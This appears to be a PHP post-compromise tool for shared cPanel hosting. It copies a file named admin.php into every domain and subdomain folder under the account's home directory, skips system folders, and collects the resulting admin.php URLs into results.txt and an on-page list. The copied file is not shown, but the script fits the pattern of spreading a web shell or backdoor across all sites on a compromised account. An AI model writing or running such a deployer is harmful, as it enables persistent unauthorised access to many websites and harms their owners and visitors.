﻿﻿<?php

set_time_limit(0);
error_reporting(E_ALL);

// FILE TO DEPLOY
$sourceFile = __DIR__ . "/admin.php";

if (!file_exists($sourceFile)) {
    die("admin.php missing");
}

// AUTO DETECT HOME
$baseDir = dirname(__DIR__) . "/";

// SYSTEM FOLDERS TO IGNORE
$skip = [
    "mail",
    "logs",
    "tmp",
    "ssl",
    "etc",
    "public_html",
    "public_ftp",
    "access-logs",
    "lscache",
    "www",
    "softaculous_backups"
];

$folders = glob($baseDir . "*", GLOB_ONLYDIR);

$success = [];
$failed = [];
$urls = [];

foreach ($folders as $folder) {

    $name = basename($folder);

    // hidden folders
    if (substr($name,0,1)===".")
        continue;

    // skip system
    if (in_array($name,$skip))
        continue;

    // domain / subdomain detection
    if (!filter_var(
        "https://".$name,
        FILTER_VALIDATE_URL
    )) continue;

    $target = $folder."/admin.php";

    if (copy($sourceFile,$target)) {

        // verify
        if (file_exists($target)) {

            $success[] = $name;

            $urls[] =
                "https://".$name.
                "/admin.php";

        }

    } else {

        $failed[] = $name;

    }

}

// remove duplicates
$urls = array_unique($urls);

// save file automatically
file_put_contents(
    __DIR__."/results.txt",
    implode(PHP_EOL,$urls)
);

echo "<h2>DONE</h2>";

echo "HOME: ".$baseDir."<br>";
echo "SUCCESS: ".count($success)."<br>";
echo "FAILED: ".count($failed)."<br><br>";

echo "<h3>Links</h3>";

echo "<textarea rows='30'
cols='120'>";

echo implode(
    PHP_EOL,
    $urls
);

echo "</textarea>";

echo "<br><br>";

echo "<a href='results.txt'>
Download results.txt
</a>";

if($failed){

echo "<pre>";
print_r($failed);
echo "</pre>";

}

?>